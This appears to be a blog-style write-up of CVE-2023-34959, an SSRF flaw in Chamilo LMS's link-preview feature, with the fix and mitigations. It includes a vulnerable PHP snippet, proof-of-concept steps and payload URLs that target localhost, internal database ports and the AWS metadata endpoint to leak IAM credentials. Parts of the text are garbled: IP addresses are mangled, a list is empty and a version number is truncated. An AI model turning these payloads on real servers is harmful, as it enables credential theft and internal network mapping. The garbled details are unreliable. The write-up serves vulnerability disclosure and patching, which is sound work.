CVE-2023-34959 - Exploiting SSRF in Chamilo v1.11.* up to v1.11.18

Chamilo is a popular open-source Learning Management System (LMS) used by schools and organizations worldwide. In June 2023, a serious security flaw tracked as CVE-2023-34959 was discovered in Chamilo versions v1.11. up to v1.11.18. This flaw lets attackers abuse certain features to perform Server-Side Request Forgery (SSRF) attacks — putting sensitive server information and internal resources at risk. In this long read, we’ll break down how the vulnerability works, why it’s dangerous, and give you a technical walk-through including code snippets, proof-of-concept, and references.

Background: SSRF in a Nutshell

Server-Side Request Forgery (SSRF) is an attack that tricks a vulnerable server into making HTTP (or other protocol) requests to other locations (either internal or external to the organization's network). Why is this an issue? Because an attacker can use the server to:

The Chamilo Vulnerability

CVE-2023-34959 specifically affects the “Social” and “Links” tools in Chamilo. When a user creates or edits a link in these tools, the platform fetches information (like the webpage title or thumbnail) from the submitted URL. Unfortunately, there’s insufficient validation or sanitization on the user-submitted URL.

Result: Attackers can provide URLs pointing to internal services (such as http://127...1:808, AWS metadata URLs, etc.), and Chamilo’s backend server will make a direct request — handing the attacker any response data.

Chamilo v1.11. up to v1.11.18 (inclusive)

> Official Chamilo Security Advisory

Vulnerable Feature: Social & Links “Add Link” Form

When you add or edit a link in the Social (or Links) tool, Chamilo tries to fetch metadata for the submitted URL. For example:

URL: /main/social/link.inc.php
Parameter: url (the link to preview)

Here’s a simplified code flow:

<?php
// main/social/link.inc.php (simplified for illustration)
if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $info = file_get_contents($url); // SSRF here!
    // process $info to extract title, favicon, etc.
}
?>

There’s no check to block internal IPs, localhost, or other restricted endpoints!

Proof-of-Concept: Exploiting the SSRF

Let’s see how an attacker would exploit this bug.

1. Log in as any user (even student)

No special privilege required. Any authenticated user can add or preview a link.

2. Go to Social > Links > Add link

### 3. Submit a malicious/internal URL

`

http://127...1:22
http://localhost/admin
http://169.254.169.254/latest/meta-data/ # AWS metadata!
http://192.168.1.10:3306 # MySQL default port

4. Observe response

- The attacker sees page titles, preview images, or even raw response data if Chamilo can’t parse it.
- If the response is slow or fails, the attacker may deduce if a service/port is open or closed (timing-based enumeration).

Here’s a simple code snippet demonstrating the SSRF vector (simulated outside Chamilo)

<?php
// Attacker-supplied
$url = 'http://169.254.169.254/latest/meta-data/';

// Simulate Chamilo SSRF logic
$response = file_get_contents($url);
echo $response; // Shows AWS metadata if running on EC2!
?>

In real-world attack, *insert that URL into the Chamilo "Add Link" field*

http://169.254.169.254/latest/meta-data/

If Chamilo is deployed on AWS EC2, this would expose the server’s metadata, potentially leaking IAM credentials.

Network scanning: Attacker can map out reachable internal ports and hosts.

- Sensitive data leak: Can access internal-only resources like Docker control APIs, Redis, AWS/GCP machine info, etc.
- Further exploitation: Use discovered services for advanced attacks (e.g., abusing credentials found in metadata endpoints).

Vendor Fix

Chamilo maintainers provided a fix in v1.11.19 and pull request #4517.

Patch highlights

- Added filtering/blocking for localhost, internal IP ranges, metadata endpoints.
- Restricted allowed protocols to http/https.

Upgrade Chamilo to v1.11.19 or later.

- If you cannot update, block outgoing traffic from the webserver to internal networks wherever possible (firewall rules).

References

- CVE-2023-34959 at NVD
- Chamilo Security Tracker #10551
- Chamilo GitHub PR #4517 (The Fix)
- Common SSRF Attack Scenarios (PortSwigger)

Conclusion

CVE-2023-34959 demonstrates how user-supplied URLs, if not carefully vetted, can lead to critical vulnerabilities like SSRF. For Chamilo admins and developers, always sanitize and validate external input and never expose your application to make arbitrary backend requests to arbitrary URLs. For security researchers, SSRF remains a widespread and dangerous bug class in many platforms.

If you’re running an affected Chamilo version, upgrade now!

*Stay safe. Patch often. And remember: never trust user input — not even when it’s “just” a link.*

Timeline

Published on: 06/08/2023 19:15:00 UTC
Last modified on: 06/15/2023 18:58:00 UTC